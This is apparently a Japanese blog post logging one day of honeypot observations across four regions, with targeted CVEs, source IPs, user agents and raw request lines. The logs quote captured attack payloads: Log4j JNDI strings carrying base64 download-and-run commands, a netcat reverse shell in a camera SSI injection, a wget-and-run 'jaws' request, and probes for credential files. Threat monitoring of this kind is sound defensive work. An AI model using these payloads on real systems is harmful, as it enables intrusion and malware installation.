コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2022/01/30 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2022/01/30分です。

特徴
共通

Axis製品の脆弱性を狙うアクセス
D-link製品の脆弱性を狙うアクセス
zgrabによるスキャン行為
/.envへのスキャン行為

Location:JP

Apache Log4j2の脆弱性(CVE-2021-44228)を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
クラウド環境のメタデータ情報を狙うアクセス
curlによるスキャン行為
.jsへのスキャン行為
/.awsへのスキャン行為
/.gitへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, Worldであるアクセス

を確認しました。

Location:US

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Apache Log4j2の脆弱性(CVE-2021-44228)を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Apache Solrへのスキャン行為
Laravelへのスキャン行為
WordPressへのスキャン行為
Gh0stRATのような動き

を確認しました。

Location:UK

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Apache Solrへのスキャン行為
Laravelへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 0.0.0.0/jaws;
sh /tmp/jaws
Location:SG

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Apache Log4j2の脆弱性(CVE-2021-44228)を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Anarchy99によるスキャン行為
/.gitへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為
Gh0stRATのような動き

を確認しました。

他
アクセス数推移

JP：総アクセス数：97 (前日比：-202)
US：総アクセス数：84 (前日比：5)
UK：総アクセス数：36 (前日比：-27)
SG：総アクセス数：69 (前日比：-89)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 13.94.67.216 United States
20 20.120.2.203 United States
1 23.129.64.250 United States
1 31.220.3.140 Germany
1 34.96.130.11 United States
4 41.207.186.81 Togo
1 45.9.20.57 Russia
1 45.83.65.248 Germany
2 45.137.21.134 Bangladesh
8 47.253.40.243 United States
1 52.55.217.66 United States
1 61.219.11.151 Taiwan
1 69.61.242.98 United States
1 104.248.49.26 United States
1 107.189.28.51 United States
1 109.237.103.9 Russia
2 109.237.103.38 Russia
2 109.237.103.118 Russia
1 117.93.47.47 China
17 135.125.217.54 France
2 137.184.68.54 United States
1 143.110.229.144 United States
1 143.198.105.75 United States
1 143.198.132.167 United States
1 143.198.230.196 United States
2 156.96.154.71 United States
3 159.75.25.179 China
1 159.89.160.236 United States
1 159.89.229.133 United States
2 167.99.49.198 United States
1 172.104.138.223 United States
1 185.220.101.174 Germany
8 185.254.196.218 Ukraine
2 192.30.241.133 United States
1 192.241.208.162 United States
1 192.241.214.15 United States

UserAgent一覧

件数 UserAgent
9 -
1 Hello, World
1 Mozila/5.0
18 Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
1 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
4 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
43 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
4 Mozilla/5.0 (compatible;)
2 Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X; en-US) AppleWebKit/531.5.2 (KHTML, like Gecko) Version/4.0.5 Mobile/8B116 Safari/6531.5.2
2 Mozilla/5.0 zgrab/0.x
1 Python-urllib/3.6
2 curl/7.75.0
1 python-requests/2.23.0
2 t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//191[.]235[.]110[.]104:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzQ1LjU1LjM4LjE0NC84VXNBLnNoOyBjdXJsIC1PIGh0dHA6Ly80NS41NS4zOC4xNDQvOFVzQS5zaDsgY2htb2QgNzc3IDhVc0Euc2g7IHNoIDhVc0Euc2g=}')

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 \x03
1 \x16\x03\x01\x01C\x01
1 \x16\x03\x01\x01D\x01
1 \x16\x03\x01\x01\xfa\x01
2 \x16\x03\x01\x02
1 \x16\x03\x01
2 GET /.aws/credentials HTTP/1.1
2 GET /.env.bak HTTP/1.1
44 GET /.env HTTP/1.1
1 GET /.git/HEAD HTTP/1.1
1 GET //favicon[.]ico HTTP/1.1
2 GET /:80:undefined HTTP/1.1
1 GET /HNAP1 HTTP/1.1
2 GET /_profiler/phpinfo HTTP/1.1
1 GET /actuator/health HTTP/1.1
2 GET /aws.yml HTTP/1.1
2 GET /config.js HTTP/1.1
2 GET /config/aws.yml HTTP/1.1
2 GET /dispatch.asp HTTP/1.1
1 GET /evox/about HTTP/1.1
3 GET /favicon.ico HTTP/1.1
1 GET /fuN3 HTTP/1.0
1 GET /hudson HTTP/1.1
1 GET `/incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2031.220.3.140%209772%200%3C/tmp/s /bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e`|HTTP/1.0\n
1 GET /index.php HTTP/1.1
2 GET /info.php HTTP/1.1
2 GET /phpinfo.php HTTP/1.1
2 GET /phpinfo HTTP/1.1
1 GET /phpmyadmin/index.php HTTP/1.1
1 GET /phpmyadmin4.8.5/index.php HTTP/1.1
1 GET /pmd/index.php HTTP/1.1
2 GET /robots.txt HTTP/1.1
1 GET /test_404_page/ HTTP/1.1
1 GET /text4041643405737 HTTP/1.1
1 GET http[:]//169[.]254[.]169[.]254/latest/meta-data/ HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
1 POST /HNAP1/ HTTP/1.1
1 POST /sdk HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 20.124.2.234 United States
1 20.124.28.223 United States
4 23.224.186.187 United States
1 31.220.3.140 Germany
1 37.120.193.247 Romania
3 43.132.109.123 Singapore
5 43.231.0.141 Hong Kong
1 45.83.67.208 Germany
2 45.137.21.134 Bangladesh
10 45.146.165.37 Russia
7 51.79.29.48 Canada
1 51.81.161.4 United States
1 52.147.71.181 United States
2 61.219.11.151 Taiwan
2 62.171.132.199 Germany
1 66.240.205.34 United States
1 84.38.189.2 Russia
1 94.232.42.169 Russia
3 104.41.143.95 United States
1 104.248.49.26 United States
14 107.172.73.224 United States
1 107.189.28.51 United States
1 109.237.103.9 Russia
2 109.237.103.118 Russia
1 137.184.68.54 United States
3 137.184.69.107 United States
1 143.110.229.144 United States
1 143.198.105.75 United States
1 143.198.132.167 United States
1 143.198.230.196 United States
1 159.65.32.207 United States
1 159.89.229.133 United States
1 172.105.89.161 United States
1 185.38.175.132 Denmark
1 185.254.196.223 Ukraine
1 192.241.210.213 United States
1 192.241.213.108 United States
1 209.17.96.74 United States
1 223.130.31.238 India

UserAgent一覧

件数 UserAgent
14 -
3 Go-http-client/1.1
1 Mozila/5.0
1 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
10 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
14 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
27 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
4 Mozilla/5.0 (compatible;)
2 Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X; en-US) AppleWebKit/531.5.2 (KHTML, like Gecko) Version/4.0.5 Mobile/8B116 Safari/6531.5.2
2 Mozilla/5.0 zgrab/0.x
1 Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
1 t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//191[.]232[.]233[.]106:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzE2Ny4xNzIuMjMxLjU4LzhVc0Euc2g7IGN1cmwgLU8gaHR0cDovLzE2Ny4xNzIuMjMxLjU4LzhVc0Euc2g7IGNobW9kIDc3NyA4VXNBLnNoOyBzaCA4VXNBLnNo}')

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 Gh0st\xad
1 \x03
1 \x16\x03\x01\x01D\x01
6 \x16\x03\x01
27 GET /.env HTTP/1.1
1 GET /0bef HTTP/1.0
1 GET /:80:undefined HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /HNAP1 HTTP/1.1
1 GET /ReportServer HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /_profiler/phpinfo HTTP/1.1
1 GET /blog/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /cms/wp-includes/wlwmanifest.xml HTTP/1.1
2 GET /config/getuser?index=0 HTTP/1.1
1 GET /console/ HTTP/1.1
2 GET /dispatch.asp HTTP/1.1
1 GET /evox/about HTTP/1.1
3 GET /favicon.ico HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET `/incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2031.220.3.140%209772%200%3C/tmp/s /bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e`|HTTP/1.0\n
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /news/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /nmaplowercheck1643415913 HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /site/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 GET /sito/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /test/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /users/sign_in HTTP/1.0
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /web/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /website/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wordpress/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp1/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp2/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /xmlrpc.php?rsd HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /HNAP1/ HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /result%3Fhl%3Den%26meta%3Dvvnwppnloxhwtqccppbyhqmrwyswqen HTTP/1.1
1 POST /sdk HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 20.214.104.46 United States
1 27.43.205.56 China
1 31.220.3.140 Germany
1 45.83.64.240 Germany
7 45.137.21.134 Bangladesh
9 45.146.165.37 Russia
1 84.38.189.2 Russia
1 107.189.28.51 United States
1 109.237.103.9 Russia
2 109.237.103.38 Russia
2 109.237.103.118 Russia
1 125.41.221.74 China
2 157.245.70.127 United States
1 172.105.89.161 United States
1 178.239.21.85 Poland
1 185.200.117.166 Romania
1 192.241.206.46 United States
1 192.241.210.231 United States
1 192.241.214.26 United States

UserAgent一覧

件数 UserAgent
10 -
1 Hello, world
1 Mozila/5.0
9 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
4 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
7 Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X; en-US) AppleWebKit/531.5.2 (KHTML, like Gecko) Version/4.0.5 Mobile/8B116 Safari/6531.5.2
3 Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数 Method Request Protocol
1 \x16\x03\x01\x01C\x01
1 \x16\x03\x01\x01D\x01
4 GET /.env HTTP/1.1
1 GET /0bef HTTP/1.0
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /ab2g HTTP/1.1
1 GET /ab2h HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /console/ HTTP/1.1
7 GET /dispatch.asp HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET `/incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2031.220.3.140%209772%200%3C/tmp/s /bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e`|HTTP/1.0\n
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+0[.]0[.]0[.]0/jaws;sh+/tmp/jaws HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /users/sign_in HTTP/1.0
1 HEAD /robots.txt HTTP/1.0
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /HNAP1/ HTTP/1.1
2 POST /HNAP1/ HTTP/1.0
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 15.237.116.248 United States
2 20.84.73.38 United States
2 20.115.32.123 United States
1 20.188.111.10 United States
1 31.220.3.140 Germany
1 34.75.174.223 United States
1 34.96.130.17 United States
1 45.9.20.57 Russia
2 45.137.21.134 Bangladesh
9 45.146.165.37 Russia
5 51.79.29.48 Canada
2 52.237.162.233 United States
1 54.145.21.154 United States
2 61.219.11.151 Taiwan
1 66.240.205.34 United States
4 68.183.76.205 United States
1 94.232.42.169 Russia
2 94.232.43.63 Russia
2 96.47.230.254 United States
1 104.43.250.51 United States
1 104.223.91.179 United States
1 104.244.72.115 United States
1 104.248.49.30 United States
1 107.189.12.178 United States
2 107.189.28.51 United States
2 109.237.103.38 Russia
2 109.237.103.118 Russia
1 123.129.154.68 China
1 134.209.144.243 United States
2 137.184.69.107 United States
1 143.110.237.173 United States
1 143.198.132.167 United States
1 154.21.28.166 United States
2 157.230.216.203 United States
1 159.89.229.133 United States
1 173.249.10.27 Germany
1 192.241.203.240 United States
1 192.241.205.14 United States
1 192.241.211.59 United States
2 194.165.16.11 Russia
1 206.81.1.212 United States

UserAgent一覧

件数 UserAgent
17 -
1 Anarchy99
3 Mozila/5.0
1 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
9 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
30 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2 Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X; en-US) AppleWebKit/531.5.2 (KHTML, like Gecko) Version/4.0.5 Mobile/8B116 Safari/6531.5.2
3 Mozilla/5.0 zgrab/0.x
1 Python-urllib/3.6
1 t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//5[.]181[.]80[.]103:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IGN1cmwgaHR0cDovLzE5Mi45NS41MC4yMjgvYmlucy5zaCAtbyBiaW5zLnNoOyB3Z2V0IGh0dHA6Ly8xOTIuOTUuNTAuMjI4L2JpbnMuc2g7IGNobW9kIDc3NyBiaW5zLnNoOyBzaCBiaW5zLnNoOyBybSAtcmYgYmlucy5zaDsgaGlzdG9yeSAtYyA=}')

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 Gh0st\xad
6 \x03
1 \x16\x03\x01\x01C\x01
1 \x16\x03\x01\x01D\x01
1 \x16\x03\x01\x01\xfb\x01
1 \x16\x03\x01
27 GET /.env HTTP/1.1
1 GET /.git/HEAD HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /_profiler/phpinfo HTTP/1.1
1 GET /ab2g HTTP/1.1
1 GET /ab2h HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /app/.env HTTP/1.1
1 GET /boaform/admin/formLogin?username=adminisp&psd=adminisp HTTP/1.0
1 GET /console/ HTTP/1.1
1 GET /core/.env HTTP/1.1
2 GET /dispatch.asp HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET `/incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2031.220.3.140%209772%200%3C/tmp/s /bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e`|HTTP/1.0
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /public/.env HTTP/1.1
1 GET /solr/admin/collections?action=t(%27$%7B$%7Benv:BARFOO:-j%7Dndi$%7Benv:BARFOO:-:%7D$%7Benv:BARFOO:-l%7Ddap$%7Benv:BARFOO:-:%7D//5[.]181[.]80[.]103:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IGN1cmwgaHR0cDovLzE5Mi45NS41MC4yMjgvYmlucy5zaCAtbyBiaW5zLnNoOyB3Z2V0IGh0dHA6Ly8xOTIuOTUuNTAuMjI4L2JpbnMuc2g7IGNobW9kIDc3NyBiaW5zLnNoOyBzaCBiaW5zLnNoOyBybSAtcmYgYmlucy5zaDsgaGlzdG9yeSAtYyA=%7D%27)&wt=json HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 HEAD / HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
3 POST /HNAP1/ HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /result%3Fhl%3Den%26meta%3Dvvnwppnloxhwtqccppbyhqmrwyswqen HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1